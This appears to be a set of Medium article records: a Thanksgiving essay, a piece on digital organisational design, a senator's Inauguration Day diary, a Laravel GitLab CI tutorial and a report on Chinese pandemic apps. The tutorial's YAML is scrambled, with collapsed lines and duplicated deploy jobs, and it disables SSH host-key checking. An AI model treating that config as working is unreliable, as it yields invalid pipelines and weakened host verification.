An open community workspace benefits you and your future more than you expect. It is more than a creative physical place. It is a community where you are trained, you are learning and you feel welcome and can engage. Your presence there is meaningful. Last but not least, you are a part of the community. You empower it, contribute to it and build it as a hub where people share the same values as you. | https://medium.com/the-shortcut/what-to-learn-from-an-open-community-workspace-6012fe53702c | ['Trinh Tran'] | 2018-09-18 12:53:18.502000+00:00 | ['Coworking', 'Design', 'Volunteer', 'Team', 'Diversity'] |
Thanksgiving Does Not Equal Dead Turkeys and Drunk Uncles | Apart from the tragic history of colonialism and our invasion of native land, Thanksgiving really doesn’t have a whole lot of “meaning” beyond dead birds and drunk uncles in today’s American society, does it? From what I can see, Thanksgiving has been turned into the same thing any other holiday has been whittled into: more stuff to buy.
The history of Thanksgiving is actually fairly substantially different than the stories we were told in grade school. It was a festivity that took place only because of the generosity of the Wampanoag tribe, not because the pilgrims worked hard and then experienced the bounty of their harvest. Somewhere quickly down the line, white people got really confused about what it means to survive due to sharing and thought an easier method of survival was through taking.
Lol.
Fast forward homies, and 2020 is looking pretty dismal. Your white man colonialism tricks are coming back to bite you and it’s looking more and more like no one is getting out of this alive, save those who have the capacity to learn how to, you know, share.
How ironic.
If the Native Americans had it right, and all this sharing business is what we need to get really good at if we are to survive this 6th mass extinction I keep talking about, then we need to take a few steps back. We need to start by acknowledging the complicated, tangled web we’ve spun ourselves into as a culture, no, as a whole society. Thanks to global capitalism, we now have to think on this level: the level of whole societies. I’m not saying it’s convenient but this what we have. Most people give up on thinking about solving our problems because the scale is just too big.
But here’s the good news, you don’t need to act on that scale.
What I mean is you are one individual human being. You don’t have the capacity to change the whole system, no one does, not presidents, not CEO’s, not a single human being has the capacity to change the system at this point. Here’s the thing about it, even if one person could, like say, another Adam Smith comes along and invents some system that fixes the problems capitalism created, you guessed it, there would still be more problems. The problems would just be new at that point.
Being alive is about solving one giant problem after another. We come here to planet earth and we have to produce work, we have to solve problems. There is no way around it.
So, let’s back up for a minute.
Let’s get back to this point about dead turkeys and drunk uncles. In other words, let’s talk about what America, or capitalism, or whatever you want to call it, has morphed Thanksgiving into. At its heart, thanksgiving is a tradition that celebrates the survival of our white colonial presence, which, in the context of the story, exists because a group of magnanimous Native American humans welcomed a bunch of sick and dying idiots to their land, taught them how to survive, and then threw a big party with all the plenty their land provides.
I don’t mean to call the pilgrims idiots out of some disrespect, I simply mean they were ignorant in the ways of surviving off this particular land. They were actually starving to death. It’s not a judgement. It’s just, you know, real. In the same way that the humus of our soil is dying at scale and carbon emissions are leading to global warming, this stuff isn’t meant to make you feel offended. It’s just, you know, real. You can do whatever you want to pretend like the pilgrims were really cool, brave white people and therefore you, as a white American, are really cool and brave now because of that (which is such a logical leap I’ve never understood about the “America First” ideology), but the reality is that the pilgrims were starving to death and the other reality is that we are now in the midst of the 6th mass extinction.
We can talk about the the literal genocide of these same magnanimous people by “cool pilgrims” but that’s beyond the scope of this work. What we need to talk about today is dead turkeys and drunk uncles because that’s where we are at right now at this time in history. We are facing the existential cliff’s edge. We can actually see it coming closer and closer with every news headline. There’s a lot going on.
We’ve got some work to do about all of this stuff, most certainly, so let’s start by talking about what the Native Americans did. Let’s talk about sharing and abundance for a little bit.
Native American culture and practice was largely about living in harmony and balance with the land. Land wasn’t “theirs” from an ownership perspective. Private property is a human invented system which exists as a complete and total separation from natural systems. Within natural systems, no one “owns” anything. The land and all the natural systems inherent in it create an abundance which never needs to be, nor can be, “owned.” The minute you try owning things, the balance shifts. Shift the balance for long enough and the whole system falls apart.
So, back to the Wampanoag tribe and the pilgrims. It’s only natural that when a bunch of white settlers came to shore, they were ready in waiting to offer the abundance of the land. They didn’t have any reason not to teach others how to tap into the abundance, they simply wanted to share what was already there. There was plenty of it, why not?
Fast forward today and let’s think about this for a minute. Why is it that as soon as you think “Thanksgiving” you think about dead turkeys and mashed potatoes and seeing your drunk uncle? Is it because you’re about to give thanks for the bounty you have? I mean, maybe. But really, are you?
I’d like to explore this idea of giving thanks, or a much better and less bastardized word, is probably gratitude.
Let’s start back with that dead turkey.
How much gratitude do you really have for that dead turkey? Do you have gratitude for it because you get a full belly and a bunch of fun times with your favorite family members? Probably. But is that really gratitude? Are you really, actually thankful for the turkey or are you just doing what every other American does on this particular holiday: eats dead turkeys?
Listen, this isn’t a diatribe about how you should stop eating dead turkeys but it is meant to get you to at least think, really think about that dead thing that you’re eating. If you’re really interested, as I am, in staying alive through the 6th mass extinction, then, as it turns out, you’ve got to start thinking about the turkey. You’ve got to wake up, in a sense.
You’ve got to get to the heart of this whole gratitude thing.
So, let’s talk about the turkey and let’s talk about why you should actually be really thankful for that dead animal. I could start with why you’re thankful for your drunk uncle but that’s too easy, he’s a freaking hoot and being with him brings you joy. Humans are inherently social creatures so gratitude for other people is usually pretty straightforward. Gratitude for dead turkeys, that’s on a whole different level. But, as it turns out, it’s that level of gratitude, and even deeper levels than that, which will bring us out of this pressing 6th extinction.
I’m sorry I keep hammering this whole “extinction of living systems” on the planet thing, it’s just we really don’t talk about it enough, you know?
So, that turkey. If you stop to think about all of this, that turkey has it’s own little system doesn’t it? To some organisms, like bacterium and viruses, that one turkey’s system is a macro system but to us, it seems really micro at first. Perhaps we think, about the turkey coming out of an egg and then doing its turkey thing and then someone kills it and then we eat it. But there is so much more going on than this!
Gratitude.
If you really want more of it, you need think about what else is really going on with the turkey. I don’t mean you need to sit around and just think and don’t do other things, like provide for your family and spend time with them, but I do mean take a minute to put your stupid phone down, stop playing candy crush, and think about the turkey. Think about everything that goes into the system here.
There is a system by which the turkey makes more turkeys; there’s another system by which the turkey has enough food which produces enough energy so that it’s cells can replicate and grow; that food is being grown by a whole other set of systems; that turkey lives for long enough to grow just the right muscle mass which some CEO puts the stamp of approval on and off the turkey goes to the slaughter; the turkey goes through a facility which plucks it’s feathers and cuts off its head and then shoves some of it’s guts back up its dead carcass so that you can have “tasty” gravy; the dead turkey then gets on the back of a truck and gets shipped to your grocery store and gets put in a cooler; the cooler stays on because someone drills oil or digs up coal or whatever the grid system is fed off of; you drive to pick up the turkey with your oil guzzling vehicle.
And now you’re sitting there having turkey dinner with your family and I want you to do yourself, and all of us, a big favor and listen, really listen.
I am NOT writing a diatribe of values here. I am doing my best to simply write down systems. It’s up to you to put value on those systems, good, bad, ugly, it’s your choice.
But when it comes to gratitude, what I want you to understand is that you cannot truly have it without actually going this deep in the system. You cannot actually give thanks on thanksgiving without doing this much work. And we most certainly cannot get out of this impending extinction without doing this much work.
The good news that I am truly grateful for on this Thanksgiving is that I am starting to believe this level of work is possible. I believe, for the first time in my life, that people are more than capable of having this level of gratitude. I didn’t believe in people for a long time because I also didn’t have this level of gratitude. I skipped through life doing my sad hipster thing and smoked cigarettes and thought about how fucked everything is.
But then, one day, I decided that I wanted to get curious about this whole gratitude thing and now I think a lot about what it takes to make turkeys and I suddenly see solutions in front of me instead of just emptiness.
You can do this too.
This kind of work takes time and serious effort but if you come to the proverbial table with true thankfulness, you begin to feel so much gratitude for everything, right down to the system that gives you air to breathe.
I want you to know that I am so thankful for you, whoever you are. I am so thankful you chose to hang out with me through this entire article.
If, after having read this, you believe we can make it through the 6th Mass Extinction even a little more, then surely you know you can survive this weird 2020, Covid Thanksgiving, even if you have to skip hanging out with your drunk uncle or your sober one or your parents, or whoever matters a lot to you. Being alone, as it turns out, can provide exactly enough time it takes to think deeply about dead turkey systems and about how thankful you are for everything.
We can make it out of this weird 2020 “new normal” but only if we go deep. If we don’t, it’s going to get weirder, I can promise you that.
Even though we are apart, I’m with you. Together, let’s dive into the depths and figure out how to be really, actually full of gratitude. | https://medium.com/@lydiabates86/thanksgiving-does-not-equal-dead-turkeys-and-drunk-uncles-8b5de6ffc54a | ['Lydia Bates'] | 2020-11-26 17:12:44.732000+00:00 | ['Gratitude', 'Thanksgiving', 'Existentialism', 'Global Warming', 'Turkey'] |
People or Machines? Aligning the Organization for Its Digital Future | Digital organisations that have already adapted to the Brave New World have significant competitive advantages over those that have not yet embraced change. They have developed new organisational designs that have allowed them to transform and experiment while maintaining the lifeblood of their companies. A study by Deloitte in 2016 identified that 74% of companies do have a digital strategy already, but their level of readiness to put it into place is very low. Just 15% of organisations in the Deloitte report felt they were effectively equipped to bring about success in the digital environment. What new organisational designs can these organisations implement for digital transformation?
Agility for the Digital Age
There is one common description that applies to most successful companies that have transformed for digital, and that is: agile. Agility drives success because businesses need to be able to respond quickly and definitively to new opportunities in the digital environment. This is because the speed of change has increased, and both opportunities and threats arise quicker than ever before. Technology is evolving extremely rapidly, and to take advantage of this, the organisation has to evolve at least as rapidly as the technology. A certain level of agility is needed to provide the organisation with the ability to change direction quickly and decisively as needed, with large, more cumbersome organisations finding ways to mimic the approaches of small start-ups to be able to compete.
Flat Digital Organisational Structures
Digital organisational structures are typically flat and able to adapt quickly to change. They are not set in stone, and can morph iteratively to meet the needs of the organisation. The traditional hierarchical chain of command does not gel very well with the needs of the digital enterprise. This is because it is slow in terms of being able to make decisions. By the time the decision to be made has been escalated up to the level of authority that can authorize it and passed back down to those who need to implement it, the moment has passed in the digital world, and the business has moved on — with the opportunity missed.
This means that flat structures with staff that are capable and proficient and who can be empowered to make decisions within a broad but defined sphere of authority are likely to be most successful in this environment. Not all types of decisions will be suited to this way of working, and organisations will need to find ways to quickly identify the decisions that should be made quickly and with agility, rather than those that might require a consensus.
The Role of Culture in the New Organisational Design
New organisational designs will only work if there is a corresponding and well-aligned organisational culture that permits the structure to work as designed. Culture is typically described as “the way we do things around here”. In new organisational designs, the way that people do things in the organisation will typically need to change if the organisation is to continue being effective under a new design.
Cultural change within organisations is not easy, but it is necessary to ensure the culture will support the new organisational design for digital transformation. Leadership will need to all be bought into the change and then they must define the expected behaviours, values and attitudes that will be considered appropriate. For these to be followed, the leaders will have to explain why the change is important for organisational survival and competitive advantage. They will also need to model the desired behaviours and way things should be done consistently, so that these become the accepted new ways of working.
The Implications of New Organisational Designs for Employees in the Digital World
The times of employees working in the same job for a number of years have passed for many occupations and job roles. Employees will find that the same jobs may not even exist for several years, and they will need to gain new skills and operate differently over time to succeed. For many employees this is advantageous. In my experience, it means that employees can learn new skills and they are not likely to stagnate in any role — by the time they might feel as if they are doing so, the job will most likely have changed. Learning quickly and working on gaining new skills, as well as seizing opportunities as they arise, will be the traits of the most effective employees in organisations that are either undergoing digital transformation or are already transformed.
As we have seen, employees will be expected to change the way they work to help the organisation to succeed in a digital environment. They will need to quickly grasp what the expected behaviors are, and embrace organisational change — which may be occurring very frequently.
Four Types of Organisational Design for the Digital Age
With all of the issues of transforming to digital in mind, Deloitte developed four models of organisational design that companies can consider when finding ways to adapt to digital and the rapidly increasing speed of change. Organisations can be seen moving between the different models, as they also represent steps towards a digital organisation. The different models are Tactical, Centralization, Champion and Business as Usual. Each is considered in turn.
Tactical — the Tactical Model is one where digital technology is adopted within the functions of the organisation to deliver existing business imperatives. This may mean adopting digital marketing or using digital technology to bring about change. While all of these initiatives may bring about benefits and value, they do not look at the bigger picture of the whole business, and the possible benefits of a joined-up approach may be missed. This model is very common when there is a desire to be digital but without having put in place an overarching strategy to achieve this.
Centralization — the Centralization Model operates through setting up a central digital unit which ensures that digital strategy is delivered through coherent initiatives across the business units. It does provide opportunities for identifying threats or possibilities in the market. This is believed to be somewhat of a transient approach as the organisation moves to become increasingly digital in nature. Over time, the digital unit should be dispersed with its responsibilities to the relevant parts of the organisation.
Champion — the Champion Model is one where is there is a digital strategy, and this has been well communicated throughout the organisation. There is not a central digital team, but rather, knowledge is shared throughout the organisation, and the emphasis is on improving performance in the digital environment. Everyone understands what is meant by “being digital” in this type of organisation, and specific strengths like data analytics and innovation are important to success.
Business as Usual — the Business as Usual Model occurs when digital is no longer something unusual or out of the ordinary to be working on, and rather, digital is part of the daily operations of the organisation. Such businesses are responsive to change, flexible and adaptive, scanning the business environment and adapting accordingly. There is no centralized digital team. This is the optimal level of digital transformation that organisations would benefit from aiming towards.
People or Machines?
One question I often get asked when discussing digital transformation is whether people will or should be replaced by machines. Organisations want to know what is best for the most effective move to the digital age. In reality most digital transformation will require both people and technology to succeed and new organisational designs will include both. Over time, the roles that people do may change as a result of advancing technology in machine learning. In these cases it is unlikely that people will become obsolete, but rather that the roles they do will change.
For example, robotics programmed with machine learning and artificial intelligence may take up roles in the new organisational designs where they carry out automated repetitive tasks, continuously improving in these activities through their learning capabilities. This makes sense, as manual processes are likely to introduce more errors. On the other hand, people might become responsible for checking and validating the work of machines. They may undertake new roles in the organisation design where they tackle difficult problems that are hard to program a machine to process. From a cost perspective, it does make sense to embrace machine learning for digital transformation, but the most effective organisational designs will be those that deploy both people and machines effectively to benefit from the distinct capabilities and advantages that each has over the other.
Summary
New organisational designs for digital transformation are likely to differ significantly from the past. They will be more agile and flexible, which will usually mean flatter and more empowered. Organisational change will be required to drive new ways of working within these designs, to ensure that the culture most optimally supports the company in operating effectively. Leadership will need to drive this change and display the desired behaviors to ensure adaptation. People may be replaced by machines in some cases, but will still bring value in new roles in the organisational design which may not even exist currently. | https://medium.com/@oppongp/people-or-machines-aligning-the-organization-for-its-digital-future-7e0e5a58a768 | ['Oppong Paul'] | 2020-11-22 08:29:15.373000+00:00 | ['İnnovation', 'Digital', 'Disruption', 'Organization', 'Management'] |
Syrian, 8-year old She won first place in a mental arithmetic | 8-year-old Syrian, Sarah Kayali, from Hazano in #Idlib has a mind for numbers. Today She won first place in a mental arithmetic competition organized internationally, outperforming 6111 children from 19 countries. Despite the harsh living conditions, she shows Syrian spirit | https://medium.com/@hasanalmossa/8-year-old-syrian-sarah-kayali-from-hazano-in-idlib-has-a-mind-for-numbers-5eace690a669 | ['Hasan Almossa'] | 2020-12-12 09:00:08.325000+00:00 | ['Intelligent', 'Metoo', 'Smart', 'Syria', 'Creators'] |
Behind The Scenes of Inauguration Day | President Joe Biden takes the oath of office
It’s been a while since I’ve written a “behind-the-scenes” post, but I can’t imagine a better day to recount than yesterday. It was a day of relief, joy, and purpose, and I’m so grateful to everyone who helped get us there. Swearing in a new president on the same day as the Senate switched control made Wednesday a day of consequence for the nation, and I’m grateful for both the faith that Connecticut has placed in me to be a part of this historic moment, but also for the work that so many people put into getting Joe Biden, Kamala Harris and so many Democratic Senators elected. What follows is a behind-the-scenes account of what yesterday looked like from my vantage point.
A Text from Kamala
I woke up to a text from my friend Kamala Harris. She recalled that we had sat next to each other at the 2017 inauguration and reminisced about a funny story that occurred that day. I texted her back to tell her how proud I was of her, and how excited I am to get to work. I jumped in the car to head into the Capitol, leaving extra time to get around all the security barriers surrounding the campus. I checked in at the health station set up by the Inaugural Committee to confirm my negative COVID test from the day before (required for every attendee) and gathered on the second floor of the Russell Senate building to walk over to the ceremony with my colleagues.
We arrived on the platform at about 10:15 am, since the program didn’t really start for another 45 minutes, there was lots of time to catch up with Senators. Since January 6th, there has been a noticeably different vibe in the Senate. I don’t know if it will last, but my sense is that many Republicans realize how close the country came to disintegration, and how dangerous it is for America if Donald Trump continues to run the Republican Party. At about 11:00 am, we were told to head to our seats, which were socially distanced from each other on risers above the main stage.
As the program was beginning, I noticed the seat next to me was unoccupied. I don’t know which Senator was missing, but the ushers quickly filled it with a Senate staffer who had volunteered to help with the logistics of the day. Her name was Alexis, and she was welling up with tears as she took her seat with the rest of the Senate. We chatted as the ceremony began, and I could tell she was just overcome with excitement — both because of the historic nature of the day and her chance to see it from such good seats! I try to make sure none of this pageantry ever becomes “normal,” but it did help to see the day through the fresh eyes of someone like Alexis.
Clouds covered the Capitol during the early moments of the program. I made a last-minute decision to not wear long underwear (mistake), and I worried that my shaking legs were causing a scene. But soon, the sun came out (right on cue), and my body temperature stabilized. At first, when I saw Lady Gaga come out the door, I worried that the dress might be a little too much for the occasion. But then, once she began singing, I realized that in fact, the day, up to that point, had unsurprisingly a tension attached to it that had lingered, and Lady Gaga’s theatrical, celebratory rendition of the national anthem lifted the mood of the audience.
A Quiet Afternoon
I walked back from the ceremony with Kansas’s new Senator, Roger Marshall. Marshall was one of the small handful of Senators who voted for the Hawley and Cruz motions to overturn the election results, and of course, his decision infuriated me. And while it’s going to be hard to find a way to work with these Senators, I feel like I have an obligation, especially for the new members, to get to know them and hear them out. I think that was the whole point of Biden’s speech — to challenge the nation to find a way to figure out what common ground exists amidst such disagreement. So I made small talk with Roger and his wife as we walked back to the Senate office buildings, heard about their excitement about the pending birth of their third grandchild, and made plans to get together in the near future.
On January 6th, I had asked a handful of staff to be in the office given the likely busy nature of the day. That was a mistake I regret, as seven of my staff were sequestered in our office for the entire day until the rioters were cleared from the Capitol. I didn’t want to risk that again, so I asked my staff to all work from home on Inauguration Day. So when I got back to the office, it was dead quiet. I went down the cafeteria to get lunch and ran into Republican Senator Dan Sullivan of Alaska. Reflecting that new tone I spoke of, he told me that he had introduced and endorsed Biden’s nominee for Secretary of Defense at the hearing on Tuesday. “I’m trying to do my part,” said Sullivan. I took my turkey sandwich back up to the office and spent the next few hours on phone with Connecticut and national reporters, talking about the hope of the new administration.
“What Does This Button Do?”
At 4:30 pm, I made my way to the Senate chamber to witness history. Vice President Harris entered the chamber to an eruption of bipartisan applause and down the center aisle of the Senate walked Alex Padilla, Jon Ossoff, and Raphael Warnock, the three new Senators that would create a Democratic Senate majority. Kamala chucked as she announced that Padilla was sworn into the vacancy being created by “former Senator Kamala D. Harris.” “That was very weird,” she whispered to the Parliamentarian, perhaps not cognizant that her microphone was still on.
Soon thereafter, the Majority Leader’s gavel passed to Senator Chuck Schumer and he gave a short, emotional speech about the miracle of a country where the son of a Brooklyn exterminator could become the leader of the U.S. Senate. After Schumer’s speech, I snuck out of the chamber to do a live appearance on Connecticut’s Fox affiliate (on Zoom, from my office), and then I hustled into my car to drive out of the building in order to give remarks at a fundraiser for the Connecticut Democratic Party. The party chairwoman, Nancy Dinardo, asked me to explain to the guests why I was bathed in the dim glow of my Chevy’s overhead lights, and I explained that no political business can be conducted inside the Capitol buildings, and no non-government buildings were open given the tight security, so I had to resort to speaking from my car.
After my remarks, I returned to the Senate chamber to vote on the nomination of Avril Haines to be National Intelligence Director. I cornered my friend, Republican Senator Jim Risch, the top Republican on the Foreign Relations Committee, and pressed him on how we could expedite the vote on Secretary of State nominee Tony Blinken. I ran into Inaugural Committee Chairman Roy Blunt of Missouri, and told how fantastic his ad-libs were on stage (“I should have known when Senator Klochuchar got involved, at least there’d be a touch of snow up here this morning,” he joked at the ceremony). And then I got tugged on the arm by a floor staffer reminding me that I was due to preside over the Senate at 7:00 pm sharp.
I looked up at the dais, where my close friend Senator Brian Schatz was in the presiding chair, and I thought about how neat it was to have him pass the gavel to me on the first day of Democratic control, after he and I had worked together to raise millions of dollars online for Democratic candidates, like Jon Ossoff and Raphael Warnock. “It’s all yours,” he said to me as we switched places. I sat down in the Senate President’s chair and looked worryingly at all the buttons in front of me. “What does this button do?” I asked one of the parliamentarians. “That’s the button to mute your microphone. Use it generously.” A few minutes later I announced the final vote on Haines and transmitted news of her confirmation to the White House, and then I adjourned the Senate with a loud thud of the small gavel.
I went back to my office to gather my things (after realizing I left the key to the office on my desk, requiring me to go to the Senate Superintendent to borrow another key to my office) and saw that a reporter had posted a picture of me in the presiding chair to Twitter. After six years of seeing Republicans occupying that chair, it looked so strange, to see a picture of me on the dais. I copied the picture to my phone and immediately made it my new Twitter profile picture.
“#NewProfilePic” read the automatic tweet that went out. Lots of things new, I thought, as I locked up my office, and headed out the door. | https://medium.com/@chrismurphyct/behind-the-scenes-of-inauguration-day-dee6b909eebf | ['Senator Chris Murphy'] | 2021-01-21 22:10:34.003000+00:00 | ['Government', 'Joe Biden', 'Senate', 'Kamala Harris', 'Politics'] |
A working gitlab Laravel pipeline with PHPUnit, code style, and more | How we deploy our PHP/laravel applications using environments and quality assurance checks.
Intro
I am a big fan of process optimization and I love trying out new ways to develop, deploy, and work on big software projects.
As head of a software development agency in Vienna, Austria, I was lucky enough to have worked on over 100 big web and mobile applications over the last 15 years with startups, international companies, and other amazing developers to try, fail and refine these processes over and over again.
The following approach is our current approach to deploying laravel projects.
To get this out of the way: If you have feedback, suggestions on that, please share them with us in the comments! I would love to hear your thoughts and the approach that works well for you.
We use gitlab for continuous integration/deployment, but this should work similarly also with other tools like Jenkins, ….
More information about the environment approach
I already wrote a detailed blog post about the reasoning and workflow for development, staging, and production environment and how we deal with it.
You can find it here:
How to set up your staging environment for web applications
If you are confused or need more information on how this gitlab-ci file came to be or detailed instruction on how to set your server and gitlab up to work with it, you can find it here:
Deploy PHP/Laravel applications using Gitlab CI/CD
Our gitlab-ci file
To make sure our code works and looks nice, we also run a few quality assurance tasks on it, before we deploy.
Here is our full gitlab-ci.yml file
image: lorisleiva/laravel-docker:7.4 # the number here resembles the php version, so you might have to adjust it to 8.0, ... ## templates .init_ssh: &init_ssh |
mkdir -p ~/.ssh
chmod 700 ~/.ssh
[[ -f /.dockerenv ]] && echo -e "Host *
\tStrictHostKeyChecking no
" > ~/.ssh/config .change_file_permissions: &change_file_permissions |
find . -type f -not -path "./vendor/*" -exec chmod 664 {} \;
find . -type d -not -path "./vendor/*" -exec chmod 775 {} \; ### the stages we go through stages:
- build
- test
- deploy ## prepare composer:
stage: build
cache:
key: ${CI_COMMIT_REF_SLUG}-composer
paths:
- vendor/
script:
- *init_ssh
- composer install --prefer-dist --no-ansi --no-interaction --no-progress --no-scripts
- cp .env.gitlab .env
- mv .env.testing .env.testing--not-used
- cp .env.testing.gitlab .env.testing
- touch database/database.sqlite
- php artisan app:install --refresh --seed --demo artifacts:
expire_in: 1 month
paths:
- vendor/
- .env
- .env.testing
- database/database.sqlite
only:
- master
- staging
- production
- development ## QA codestyle:
stage: test
dependencies: []
script:
- phpcs --standard=PSR2 --extensions=php --ignore=app/Support/helpers.php app
only:
- master
- development
- production phpunit:
stage: test
dependencies:
- composer
script:
- apk add --update-cache xvfb dbus ttf-freefont fontconfig wkhtmltopdf
- phpunit
artifacts:
expire_in: 1 month
paths:
- .env
- .env.testing
- report
- database/database.sqlite
only:
- master
- development
- production ## DEPLOYMENT
stage: deploy
script:
- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null
- *init_ssh
- *change_file_permissions
- php artisan deploy {MY_DOMAIN}.devserver.at -s upload
environment:
name: development
url:
only:
- development deploy_development:stage: deployscript:- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null- *init_ssh- *change_file_permissions- php artisan deploy {MY_DOMAIN}.devserver.at -s uploadenvironment:name: developmenturl: https://{MY_DOMAIN}. devserver.atonly:- development
stage: deploy
script:
- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null
- *init_ssh
- *change_file_permissions
- php artisan deploy {MY_DOMAIN}.stagingserver.at -s upload
environment:
name: staging
url:
only:
- master deploy_staging:stage: deployscript:- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null- *init_ssh- *change_file_permissions- php artisan deploy {MY_DOMAIN}.stagingserver.at -s uploadenvironment:name: stagingurl: https://{MY_DOMAIN}. stagingserver.atonly:- master
stage: deploy
script:
- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null
- *init_ssh
- *change_file_permissions
- php artisan deploy {MY_DOMAIN} -s upload
environment:
name: production
url:
only:
- production deploy_production:stage: deployscript:- eval $(ssh-agent -s) && echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - > /dev/null- *init_ssh- *change_file_permissions- php artisan deploy {MY_DOMAIN} -s uploadenvironment:name: productionurl: https://{MY_DOMAIN} only:- production
Here we have added the following things:
in composer step:
We defined alternative .env files for gitlab and for running our tests.
They contain different environment settings, like the database connection (they use sqllite as the main database inside the gitlab pipeline and also change the APP URL to use `http://localhost` if we have e2e tests)
- cp .env.gitlab .env
- mv .env.testing .env.testing--not-used
- cp .env.testing.gitlab .env.testing
- touch database/database.sqlite
- php artisan app:install --refresh --seed --demo
checking code style:
Here we check to make sure that all of our developers used the PSR2 coding style.
codestyle:
stage: test
dependencies: []
script:
- phpcs --standard=PSR2 --extensions=php
only:
- master
- development
- production
running PHPUnit tests:
Using this we run the PHP unit tests and also save the report and SQLite database file as an artifact, so we can download and debug it if something went wrong.
phpunit:
stage: test
dependencies:
- composer
script:
- phpunit
artifacts:
expire_in: 1 month
paths:
- report
- database/database.sqlite
only:
- master
- development
- production
Thank you very much for taking the time to read this.
If you went this far down, I would really appreciate your comment and input.
How are you guys doing it?
I will post more about DevOps, deployment, coding (especially react, flutter and laravel) in the future, so follow me to read more ;) | https://medium.com/@simonauer/a-working-gitlab-laravel-pipeline-with-phpunit-code-style-and-more-ddf54f988785 | ['Simon Auer'] | 2020-12-01 16:28:56.779000+00:00 | ['Deployment', 'Gitlab', 'Ci Cd Pipeline', 'Phpunit', 'Laravel'] |
What features appeared in the Chinese super-app and delivery services during the coronavirus | In China, the coronavirus epidemic has subsided. Perhaps the pace decrease of new infections was partially helped by the decisions of the country’s technology companies. The Heads and Hands team found out what services and tools were effective during the Chinese epidemic.
Registration in public transport by QR code
Diagnostics by QR codes
WeChat introduced special QR codes to track people in public transport.
Bus, metro, or taxi passengers had to provide information about themselves through scanning a special QR code. So the system synchronizes their ID with the vehicle number, boarding time, and other information.
If subsequently a passenger from this vehicle was found to have a coronavirus infection, everyone who was nearby and could be infected received a warning push-notification about this.
Tencent (owners of WeChat) did not indicate whether they would inform the authorities about the infected, but the service received support from the government. The Travel Registration Codes already covers public transport and taxis in 13 cities, including Beijing and Shanghai, with a total population of 83 million.
Alibaba Group has introduced a color-coded QR code system that tells people if they should quarantine.
The system assigns one of three QR codes to the user: red, yellow, or green. Only owners of the green code can freely move around the city. People with a yellow code should stay at home for a week. With red — go to a quarantine for 2 weeks.
The user can register in the system through the mini-app of the public services portal in Alipay.
When registering, a person enters his/her name, national identification number, phone number, fills out a questionnaire with questions about recent travels and well-being. The human health code is determined by three factors: travel history; the amount of time inside the infected areas; relationships with potential carriers of the virus.
The Chinese government has obliged mobile operators and other large data collectors to track the location of users up to the states in which they are located.
Not all residents of China were satisfied with the work of health codes. Some complained that the code arbitrarily changed color and that the mark of the application could not be disputed.
A similar function is performed by the Close Contact Detector application to determine the risk of infection. It is available for download when scanning a QR code through Alipay, WeChat, or QQ.
When registering, the user indicates the real name and ID number. Then receives response information about whether he/she had contact with the infected. If there was a risk, the user is advised to stay in quarantine at home.
Data for the application is provided by the State Committee on Hygiene and Health of the PRC, the Ministry of Transport, the Chinese Railways, and the Civil Aviation Administration of China.
IT companies are not limited to services that allow you to assess the risk of disease. You can consult a doctor inside the WeChat super-app as well as on the joint platform of Baidu and the Beijing Medical Association.
Delivery: contactless and robots
In China, about 400 million people use delivery services, which makes up about 30% of the population. The country employs more than 3 million suppliers. As the epidemic spread, the latter began to be considered as potential carriers of the virus. The couriers also began to fear for their health.
A story was spread on social networks about an infected courier who had no symptoms of the disease for 14 days, and all this time he went to work. Also, users were alarmed by the news that four restaurant employees in Chongqing were infected with the virus.
Delivery was ordered less often, some residential complexes and communities completely stopped letting strangers into their territories. Shares of Meituan Dianping, one of the country’s largest food and goods delivery services, fell by 13%. And companies began to look for a way out.
Dianping introduced the delivery service so that customers and delivery people do not contact them. The company also asked vendors to wear masks, to disinfect their carry-ons and began to measure their temperature daily.
For customer peace of mind, Dianping also began attaching cards to the food packages with the names of all employees who worked on the manufacture, packaging, and delivery of the order, indicating their temperature. The card also contains data on the disinfection measures taken by employees.
Another solution was delivery using robotics. In the same Meituan Dianping began to use autonomous vehicles, which in one trip can bring from 3 to 5 orders. The company noted that after the quarantine was completed and people returned to work, among their new users ⅔ were people from 40 years old. Before, the main audience of the application was twenty.
Source: Meituan
The Chinese e-commerce company JD.com, using autonomous vehicles, delivered not only food but also medicines to the hospital and local communities in Wuhan during the outbreak and blockade of the city.
Alibaba-owned Ele.me food delivery and delivery service used robots to deliver food to rooms in a quarantined hotel in Wenzhou in eastern China.
Companies not only tried to secure users and couriers but also supported institutions that had a hard time during the period of general isolation. Meituan, in cooperation with banks, provided loans to institutions that needed support, Ele.me reduced the commission for restaurants.
Remote work and education
When a new academic semester began in Wuhan, the epicenter of the coronavirus epidemic, more than a million students were forced to stay at home. Solutions for distance learning and work have already been developed by the main large companies of the country, during the epidemic they made them more accessible.
Youku, a Chinese YouTube equivalent, has launched free online classes for elementary and high school students. To conduct the lessons, they began to work in conjunction with another service from the Alibaba Group — the corporate platform Dingtalk (resembles Slack).
By the way, the students took up arms against the Dingtalk application and began to mass-install units in the hope that it would disappear from the AppStore. They dropped the rating from 4.9 to 1.4, and the founder of the company was forced to ask the children to spare the service.
At the time of the epidemic, Dingtalk also opened free access to the homework platform and even opened filters that make it look better without makeup.
WeChat Work, an app from another leading Chinese company, has increased the maximum number of videoconferencing participants to 300 and has opened up for companies, schools and hospitals free access to telemedicine and online training.
Cinema, fitness, home shopping
After the fitness clubs were forced to close, trainers began to conduct classes in the Douyin application (Chinese version of TikTok).
Also, the platform has replaced going to the movies. ByteDance, the owner of the Douyin application, bought the rights to the film Lost in Russia, which was supposed to be released in the Chinese New Year — the hottest time for film distribution, and broadcast it on its sites.
The broadcast of another film that did not pass on screens due to the virus, Enter the Fat Dragon, took place on iQiyi and Tencent Video video platforms.
Real estate agencies also decided to fight for customers in every possible way. The largest Chinese online classified site 58.com and the Anjuke property search platform offered virtual tours and live broadcasts that would help potential buyers choose a property without a personal visit.
